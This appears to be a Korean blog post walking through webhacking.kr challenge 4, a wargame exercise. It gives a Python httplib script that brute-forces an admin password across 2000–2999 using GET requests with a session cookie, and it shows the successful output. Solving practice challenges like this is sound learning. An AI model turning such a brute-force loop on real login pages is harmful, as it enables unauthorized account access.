파이썬 공부도중 httplib 를 활용하는 예제가 나와서 http://webhacking.kr 4번 문제가
GET방식 brute forcing 공격에 관련된 문제였었다.
위와같이 input box 에 id 와 pw를 입력하면 암호는 숫자이며 2000~3000사이의 숫자라는 것을 알려준다.
익스플로잇 코드는 아래와 같다.
from httplib import HTTP for i in range(2000,3000): str_rhttp = "/challenge/web/web-04/index.php?cid=admin&cpw="+str(i) # str_rhttp = "/challenge/web/web-04/index.php?cid=admin&cpw="+str(i) # print str_rhttp # print "----------------------------------------------------" r = HTTP('webhacking.kr',80) r.putrequest('GET',str_rhttp) r.putheader('Accept','text/html') r.putheader('User-Agent','Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko)') r.putheader('Host','webhacking.kr') r.putheader('cookie','PHPSESSID=5caf21723ee515f908e1584a0bf0dd7b') r.endheaders() ## print r.str
EC, EM, headers = r.getreply() # print EC, EM f= r.getfile() html=f.read() # print len(html) if (len(html) == 257) : str(i) # print "fail" else : print str(i) print html print '----------------------------------------------' break |
결과 화면
root@ubuntu:~/k1rha/python# python webhackingNo4_exploit.py 2748 <!-- brute force challenge! id : guest pw : 1234 id : admin pw : 2xxx admin pass range is 2000 ~ 2999 --> <html> <head> <title>Challenge 4</title> </head> <body><center><br><br> <font size=2>hi <b>admin!</b><p><br><br>k1rha : already solved this challenge. (4 , 150 - 2011-09-03 20:14:29) ---------------------------------------------- |
'Python' 카테고리의 다른 글
[python 3.2 ] socket Server Client 예제 코드 (0) | 2012.07.11 |
---|---|
python try catch 사용하기 (using try,catch in python) (0) | 2012.07.02 |
join 함수 사용 사례 (0) | 2012.06.28 |
python 옵션 설정하기 getopt (get option in (0) | 2012.06.28 |
enumerate() 사용기. (useage enumerate function) (0) | 2012.06.27 |